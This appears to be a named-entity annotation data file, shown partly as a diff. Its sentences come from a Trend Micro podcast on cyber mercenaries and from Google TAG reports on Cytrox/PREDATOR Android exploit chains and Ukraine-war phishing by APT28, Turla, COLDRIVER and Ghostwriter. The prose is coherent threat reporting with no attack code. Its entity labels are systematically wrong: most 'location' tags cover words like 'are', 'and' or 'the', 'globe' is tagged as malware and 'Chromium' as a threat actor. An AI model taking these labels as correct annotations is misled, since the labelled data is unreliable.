-{"id":5856,"text":"What are your thoughts on that?","entities":[{"id":18050,"label":"location","start_offset":5,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":5857,"text":"Ed:","entities":[],"relations":[],"Comments":[]}
 {"id":5858,"text":"Yeah, well, again, everything that we see in cyberspace is a direct analogy on the physical side.","entities":[],"relations":[],"Comments":[]}
-{"id":5859,"text":"So, war by proxy has been around forever.","entities":[{"id":18052,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":5860,"text":"Such as the term mercenary, right?","entities":[],"relations":[],"Comments":[]}
 {"id":5861,"text":"This just makes it unique.","entities":[{"id":18053,"label":"identity","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":5862,"text":"Let's look at logistics and how to utilize mercenary forces on the physical side in any conflict.","entities":[{"id":18054,"label":"location","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":5863,"text":"You still need to identify them.","entities":[{"id":18055,"label":"location","start_offset":27,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":5864,"text":"You need to pay them.","entities":[{"id":18056,"label":"location","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":5865,"text":"You need to get them to the battlefield.","entities":[{"id":18057,"label":"location","start_offset":16,"end_offset":20},{"id":18058,"label":"location","start_offset":28,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":5866,"text":"You need to equip them.","entities":[{"id":18059,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":5867,"text":"There was a lot of [00:09:00] logistics associated with it.","entities":[{"id":18060,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":5868,"text":"Now you take cyber, and you take cyber mercenaries, regardless of their affiliation.","entities":[{"id":18061,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":5869,"text":"They could be patriotic hackers, they could just be guns for hire or cyber guns for hire, so to speak.","entities":[{"id":18062,"label":"identity","start_offset":44,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":5870,"text":"So they can come from different flavors.","entities":[{"id":18063,"label":"location","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":5871,"text":"But the one thing that is unique across the board is that you could stand them up very quickly.","entities":[{"id":18065,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":5872,"text":"There is also the ability to create false flag operations.","entities":[{"id":18066,"label":"location","start_offset":42,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":5873,"text":"You can have countries create cyber operations against any adversary and then make it look like it's coming from another group.","entities":[{"id":18067,"label":"location","start_offset":4,"end_offset":7},{"id":18068,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":5874,"text":"There is not only the actual mercenaries, who they are, where they are, and how do you combat or defend against them.","entities":[{"id":18069,"label":"location","start_offset":13,"end_offset":17},{"id":18070,"label":"location","start_offset":51,"end_offset":54},{"id":18071,"label":"location","start_offset":67,"end_offset":70},{"id":18072,"label":"location","start_offset":72,"end_offset":75},{"id":18073,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":5875,"text":" But now it's like, are they really mercenaries?","entities":[{"id":18074,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":5876,"text":"Are they really just uniform soldiers behind keyboards?","entities":[{"id":18075,"label":"location","start_offset":0,"end_offset":3},{"id":18076,"label":"identity","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]}
 {"id":5877,"text":"So [00:10:00] it's an interesting thing that nobody really likes to talk about it.","entities":[],"relations":[],"Comments":[]}
-{"id":5878,"text":"I suspect really the reason why it wasn't brought up in Davos is that it is a very gray area that both sides utilize and take advantage of.","entities":[{"id":18077,"label":"location","start_offset":56,"end_offset":61},{"id":18078,"label":"location","start_offset":83,"end_offset":87},{"id":18079,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":5879,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
-{"id":5880,"text":"I think nation states are going to have to deal with that and maybe come up with some thoughts and policies around this.","entities":[{"id":18081,"label":"location","start_offset":22,"end_offset":25},{"id":18082,"label":"location","start_offset":43,"end_offset":47},{"id":18083,"label":"location","start_offset":58,"end_offset":61},{"id":18084,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":5881,"text":"One thing, Ed – obviously, cyber war, hybrid warfare is probably here to stay.","entities":[{"id":18087,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":5882,"text":"When you think as nation state, what should a nation state be looking at for the future?","entities":[],"relations":[],"Comments":[]}
-{"id":5883,"text":"Are there certain industries, or certain areas that they should focus a lot of their efforts on ensuring that they're protecting those areas of their country?","entities":[{"id":18088,"label":"location","start_offset":0,"end_offset":3},{"id":18089,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":5884,"text":"Ed:","entities":[],"relations":[],"Comments":[]}
 {"id":5885,"text":"Yeah, sure, absolutely.","entities":[],"relations":[],"Comments":[]}
 {"id":5886,"text":"Just like on the physical or kinetic side, we need to be very cognizant of our critical infrastructure.","entities":[{"id":18091,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":5887,"text":"The Department of Homeland Security (DHS), [00:11:00] they've created 16 critical infrastructure sectors and there's been talk about bringing those down.","entities":[{"id":18095,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":5888,"text":"But we really need to understand what is critical.","entities":[],"relations":[],"Comments":[]}
-{"id":5889,"text":"I mean, we saw that with the pipeline attacks, we saw that, like you said, from the Ukraine and power attacks, we saw that in the advisories from DHS and FBI of Russian actors probing our energy sector.","entities":[{"id":18097,"label":"location","start_offset":92,"end_offset":95},{"id":18098,"label":"location","start_offset":96,"end_offset":101},{"id":18100,"label":"location","start_offset":150,"end_offset":153},{"id":18103,"label":"location","start_offset":188,"end_offset":194}],"relations":[],"Comments":[]}
 {"id":5890,"text":"Obviously, this is where our focus needs to be, hands down.","entities":[],"relations":[],"Comments":[]}
-{"id":5891,"text":"So, it's anything that disrupts our critical infrastructure, our own supply chains and, yes, from a military perspective for obvious reasons, but it's also for us on a day-to-day operational perspective.","entities":[{"id":18104,"label":"location","start_offset":69,"end_offset":75},{"id":18105,"label":"location","start_offset":83,"end_offset":86},{"id":18106,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":5892,"text":"Our financial sector is much stronger and more mature, I would say, comparatively to other sectors.","entities":[{"id":18108,"label":"location","start_offset":24,"end_offset":28},{"id":18109,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":5893,"text":"But the one thing is that if you do maintain or are able to have an impact, [00:12:00] you look at the economy now and you look at the market the way it is now, everything that we're going through, from inflation to supply chain issues, it doesn't take much to have an additional impact.","entities":[{"id":18110,"label":"location","start_offset":8,"end_offset":11},{"id":18111,"label":"location","start_offset":48,"end_offset":51},{"id":18112,"label":"location","start_offset":68,"end_offset":74},{"id":18113,"label":"location","start_offset":103,"end_offset":110},{"id":18114,"label":"location","start_offset":115,"end_offset":118},{"id":18115,"label":"location","start_offset":135,"end_offset":141},{"id":18116,"label":"location","start_offset":146,"end_offset":149},{"id":18117,"label":"location","start_offset":216,"end_offset":222},{"id":18118,"label":"location","start_offset":253,"end_offset":257},{"id":18119,"label":"location","start_offset":280,"end_offset":286}],"relations":[],"Comments":[]}
 {"id":5894,"text":"These are the things that I think countries across the globe need to understand, especially here in Western countries, and especially NATO countries, understanding that they need to be shoring up, and almost like DHS says in their program, Shields Up, is really focused on being proactive and protecting those critical sectors.","entities":[{"id":18120,"label":"location","start_offset":6,"end_offset":9},{"id":18121,"label":"malware","start_offset":55,"end_offset":60},{"id":18122,"label":"location","start_offset":100,"end_offset":107},{"id":18123,"label":"location","start_offset":119,"end_offset":122},{"id":18125,"label":"location","start_offset":197,"end_offset":200},{"id":18128,"label":"location","start_offset":289,"end_offset":292}],"relations":[],"Comments":[]}
 {"id":5895,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
-{"id":5896,"text":"I think one sector that we talked about earlier, but we really need to think about is the news industry.","entities":[{"id":18131,"label":"location","start_offset":95,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":5897,"text":"Because again, that's where we're going to get our information if a conflict does come up.","entities":[],"relations":[],"Comments":[]}
-{"id":5898,"text":"And so we’ve got to make sure and maintain the news capability, we’ve got to maintain that they are delivering what they say they're delivering; what's truth, what isn't truth, and flagging that kind of [00:13:00] information.","entities":[{"id":18132,"label":"location","start_offset":0,"end_offset":3},{"id":18133,"label":"location","start_offset":30,"end_offset":33},{"id":18134,"label":"location","start_offset":96,"end_offset":99},{"id":18135,"label":"location","start_offset":177,"end_offset":180}],"relations":[],"Comments":[]}
 {"id":5899,"text":"Ed, this has been a great discussion.","entities":[],"relations":[],"Comments":[]}
-{"id":5900,"text":"I really appreciate that we were able to tackle this one.","entities":[{"id":18137,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":5901,"text":"It's something we can probably continue to tackle as we continue to see this evolve with the Russia-Ukraine conflict that's going on and seeing how that shapes up.","entities":[{"id":18138,"label":"location","start_offset":18,"end_offset":21},{"id":18140,"label":"location","start_offset":100,"end_offset":107},{"id":18141,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
 {"id":5902,"text":"Ed:","entities":[],"relations":[],"Comments":[]}
-{"id":5903,"text":"This is one of my favorite topics, obviously.","entities":[{"id":18143,"label":"location","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":5904,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
 {"id":5905,"text":"Well, everybody, thanks for joining us again.","entities":[],"relations":[],"Comments":[]}
 {"id":5906,"text":"On episode four of #TrendTalksBizSec.","entities":[],"relations":[],"Comments":[]}
-{"id":5907,"text":"We'll be back in two weeks to talk about another topic and Ed and I are enjoying these.","entities":[{"id":18148,"label":"location","start_offset":55,"end_offset":58},{"id":18150,"label":"location","start_offset":62,"end_offset":65},{"id":18151,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":5908,"text":"You can certainly follow us on Twitter, on Facebook, on LinkedIn, as well as on YouTube with these.","entities":[{"id":18152,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":5909,"text":"So, take care, have a great day.","entities":[],"relations":[],"Comments":[]}
 {"id":5910,"text":"Thanks Ed.","entities":[],"relations":[],"Comments":[]}
 {"id":5911,"text":"Have a good day.","entities":[],"relations":[],"Comments":[]}
 {"id":5912,"text":"[00:14:00] Additional Resources:","entities":[{"id":18159,"label":"TIME","start_offset":1,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":5913,"text":"Link to #TrendTalks YouTube playlist where the rest of Jon and Ed’s videos live: https:\/\/www.youtube.com\/playlist?list=PLZm70v-MT4Jobcu4xqIx4_aSkzL_kPX_M","entities":[{"id":18162,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":5914,"text":"Link to Jon’s panel discussion in Davos: https:\/\/www.youtube.com\/watch?v=GAZng8u9FXk","entities":[],"relations":[],"Comments":[]}
-{"id":5915,"text":"Jon’s social media: @jonlclay (Twitter), https:\/\/www.linkedin.com\/in\/jon-clay-0880512\/ (LinkedIn)","entities":[{"id":18169,"label":"location","start_offset":13,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":5916,"text":"Ed’s social media: @Ed_E_Cabrera (Twitter), https:\/\/www.linkedin.com\/in\/ed-e-cabrera\/ (LinkedIn)","entities":[{"id":18172,"label":"location","start_offset":12,"end_offset":17},{"id":18173,"label":"URL","start_offset":44,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":5917,"text":"     Tags  Cyber Crime | Expert Perspective | Cyber Threats | Data center | ICS OT | APT & Targeted Attacks | Network | Articles, News, Reports","entities":[{"id":18174,"label":"location","start_offset":67,"end_offset":73},{"id":18175,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":5918,"text":"To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]}
-{"id":5919,"text":"In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.","entities":[{"id":18182,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":5920,"text":"This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities: We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.","entities":[{"id":18185,"label":"location","start_offset":42,"end_offset":46},{"id":18189,"label":"location","start_offset":100,"end_offset":103},{"id":18192,"label":"location","start_offset":208,"end_offset":218},{"id":18194,"label":"location","start_offset":306,"end_offset":309},{"id":18195,"label":"location","start_offset":362,"end_offset":366}],"relations":[],"Comments":[]}
-{"id":5921,"text":"Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.","entities":[{"id":18199,"label":"location","start_offset":52,"end_offset":58},{"id":18200,"label":"location","start_offset":110,"end_offset":113},{"id":18208,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":5922,"text":"The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.","entities":[{"id":18212,"label":"location","start_offset":94,"end_offset":98},{"id":18213,"label":"location","start_offset":110,"end_offset":117},{"id":18214,"label":"location","start_offset":174,"end_offset":182},{"id":18215,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]}
-{"id":5923,"text":"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.","entities":[{"id":18216,"label":"location","start_offset":120,"end_offset":124},{"id":18217,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":5924,"text":"Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":18222,"label":"location","start_offset":107,"end_offset":110},{"id":18223,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":5925,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":18226,"label":"location","start_offset":59,"end_offset":65},{"id":18227,"label":"location","start_offset":84,"end_offset":87},{"id":18228,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":5926,"text":"All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.","entities":[{"id":18231,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":5927,"text":"The campaigns were limited — in each case, we assess the number of targets was in the tens of users.","entities":[{"id":18232,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":5928,"text":"Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.","entities":[{"id":18234,"label":"location","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":5929,"text":"If the link was not active, the user was redirected directly to a legitimate website.","entities":[],"relations":[],"Comments":[]}
-{"id":5930,"text":"We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.","entities":[{"id":18235,"label":"location","start_offset":51,"end_offset":54},{"id":18236,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":5931,"text":"We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.","entities":[{"id":18237,"label":"malware","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":5932,"text":"ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.","entities":[{"id":18242,"label":"malware","start_offset":0,"end_offset":5},{"id":18243,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":5933,"text":"These commands include recording audio, adding CA certificates, and hiding apps.","entities":[{"id":18244,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":5934,"text":"The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.","entities":[{"id":18246,"label":"location","start_offset":10,"end_offset":18},{"id":18250,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":5935,"text":"This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.","entities":[{"id":18251,"label":"location","start_offset":29,"end_offset":32},{"id":18252,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":5936,"text":" We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.","entities":[{"id":18253,"label":"location","start_offset":144,"end_offset":148},{"id":18255,"label":"location","start_offset":236,"end_offset":239},{"id":18256,"label":"threat-actor","start_offset":262,"end_offset":270}],"relations":[],"Comments":[]}
-{"id":5937,"text":"We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.","entities":[{"id":18257,"label":"location","start_offset":20,"end_offset":30},{"id":18258,"label":"location","start_offset":80,"end_offset":83},{"id":18260,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":5938,"text":"More technical details about this vulnerability are available in this RCA by Maddie Stone.","entities":[{"id":18261,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":5939,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":5940,"text":"In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.","entities":[{"id":18265,"label":"location","start_offset":34,"end_offset":42},{"id":18266,"label":"location","start_offset":98,"end_offset":102},{"id":18268,"label":"location","start_offset":111,"end_offset":117},{"id":18269,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":5941,"text":"We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.","entities":[],"relations":[],"Comments":[]}
-{"id":5942,"text":"The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.","entities":[{"id":18271,"label":"location","start_offset":79,"end_offset":82},{"id":18273,"label":"location","start_offset":154,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":5943,"text":"This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.","entities":[{"id":18274,"label":"location","start_offset":5,"end_offset":10},{"id":18275,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":5944,"text":"Analysis of the exploit identified two different vulnerabilities in Chrome: After escaping the sandbox, the exploit downloaded another exploit in \/data\/data\/com.android.chrome\/p.so to elevate privileges and install the implant.","entities":[{"id":18278,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":5945,"text":"We haven’t retrieved a copy of the exploit.","entities":[],"relations":[],"Comments":[]}
 {"id":5946,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":5947,"text":"In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.","entities":[{"id":18280,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":5948,"text":"The chain included two 0-day exploits: Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.","entities":[{"id":18284,"label":"location","start_offset":57,"end_offset":61},{"id":18287,"label":"location","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":5949,"text":"The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.","entities":[{"id":18288,"label":"location","start_offset":32,"end_offset":40},{"id":18289,"label":"location","start_offset":41,"end_offset":46},{"id":18290,"label":"location","start_offset":47,"end_offset":50},{"id":18291,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":5950,"text":"At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.","entities":[{"id":18293,"label":"location","start_offset":7,"end_offset":11},{"id":18296,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":5951,"text":"Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.","entities":[{"id":18298,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":5952,"text":"In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.","entities":[{"id":18300,"label":"location","start_offset":44,"end_offset":52},{"id":18301,"label":"location","start_offset":53,"end_offset":58},{"id":18302,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":5953,"text":"Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.","entities":[{"id":18304,"label":"location","start_offset":10,"end_offset":13},{"id":18305,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":5954,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":5955,"text":"We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.","entities":[{"id":18306,"label":"location","start_offset":45,"end_offset":50},{"id":18307,"label":"location","start_offset":60,"end_offset":63},{"id":18310,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":5956,"text":"We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.","entities":[],"relations":[],"Comments":[]}
-{"id":5957,"text":"TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":18313,"label":"location","start_offset":57,"end_offset":63},{"id":18314,"label":"location","start_offset":82,"end_offset":85},{"id":18315,"label":"location","start_offset":86,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":5958,"text":"We remain committed to updating the community as we uncover these campaigns.","entities":[{"id":18316,"label":"location","start_offset":36,"end_offset":45},{"id":18317,"label":"tools","start_offset":52,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":5959,"text":"Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.","entities":[{"id":18318,"label":"location","start_offset":62,"end_offset":70},{"id":18319,"label":"location","start_offset":71,"end_offset":75},{"id":18320,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]}
 {"id":5960,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":18321,"label":"location","start_offset":53,"end_offset":56},{"id":18322,"label":"tools","start_offset":71,"end_offset":77},{"id":18323,"label":"location","start_offset":78,"end_offset":81},{"id":18324,"label":"location","start_offset":82,"end_offset":90},{"id":18325,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":5961,"text":"NOTE: On May 20th, we updated our attribution to more precisely describe our findings.","entities":[],"relations":[],"Comments":[]}
-{"id":5962,"text":"Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":18331,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":5963,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":18333,"label":"location","start_offset":97,"end_offset":100},{"id":18334,"label":"location","start_offset":106,"end_offset":110},{"id":18335,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":18336,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":5964,"text":"Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.","entities":[{"id":18337,"label":"location","start_offset":75,"end_offset":81},{"id":18338,"label":"location","start_offset":125,"end_offset":128},{"id":18339,"label":"location","start_offset":129,"end_offset":132},{"id":18340,"label":"location","start_offset":133,"end_offset":136},{"id":18341,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":5965,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":18345,"label":"location","start_offset":55,"end_offset":58},{"id":18348,"label":"location","start_offset":133,"end_offset":136},{"id":18349,"label":"location","start_offset":158,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":5966,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[{"id":18350,"label":"location","start_offset":22,"end_offset":25},{"id":18351,"label":"location","start_offset":42,"end_offset":45},{"id":18352,"label":"location","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":5967,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]}
-{"id":5968,"text":"We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[{"id":18355,"label":"location","start_offset":21,"end_offset":24},{"id":18356,"label":"location","start_offset":41,"end_offset":48},{"id":18357,"label":"location","start_offset":103,"end_offset":109},{"id":18358,"label":"location","start_offset":110,"end_offset":116},{"id":18359,"label":"location","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":5969,"text":"Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks: APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.","entities":[{"id":18360,"label":"location","start_offset":29,"end_offset":37},{"id":18361,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":5970,"text":"The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.","entities":[{"id":18368,"label":"location","start_offset":158,"end_offset":161},{"id":18371,"label":"location","start_offset":196,"end_offset":199}],"relations":[],"Comments":[]}
 {"id":5971,"text":"The data is then exfiltrated via email to a compromised email account.","entities":[],"relations":[],"Comments":[]}
 {"id":5972,"text":"Malware samples:","entities":[],"relations":[],"Comments":[]}
 {"id":5973,"text":"TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":5974,"text":"Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.","entities":[{"id":18378,"label":"location","start_offset":111,"end_offset":114},{"id":18379,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":5975,"text":"Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.","entities":[{"id":18380,"label":"location","start_offset":75,"end_offset":78},{"id":18381,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":5976,"text":"When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.","entities":[{"id":18382,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":5977,"text":"Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.","entities":[{"id":18388,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":18390,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":5978,"text":"The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":18392,"label":"location","start_offset":31,"end_offset":34},{"id":18393,"label":"location","start_offset":72,"end_offset":75},{"id":18394,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":5979,"text":"The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and\/or DOCs hosted on Google Drive and Microsoft One Drive.","entities":[{"id":18395,"label":"location","start_offset":32,"end_offset":35},{"id":18396,"label":"attack-pattern","start_offset":111,"end_offset":119},{"id":18398,"label":"location","start_offset":208,"end_offset":211}],"relations":[],"Comments":[]}
 {"id":5980,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[{"id":18401,"label":"attack-pattern","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":5981,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":18402,"label":"attack-pattern","start_offset":6,"end_offset":14},{"id":18404,"label":"location","start_offset":129,"end_offset":132},{"id":18405,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
 {"id":5982,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.","entities":[{"id":18406,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":18407,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":18408,"label":"tools","start_offset":57,"end_offset":68},{"id":18410,"label":"location","start_offset":142,"end_offset":145},{"id":18411,"label":"location","start_offset":146,"end_offset":149},{"id":18413,"label":"attack-pattern","start_offset":210,"end_offset":218}],"relations":[],"Comments":[]}
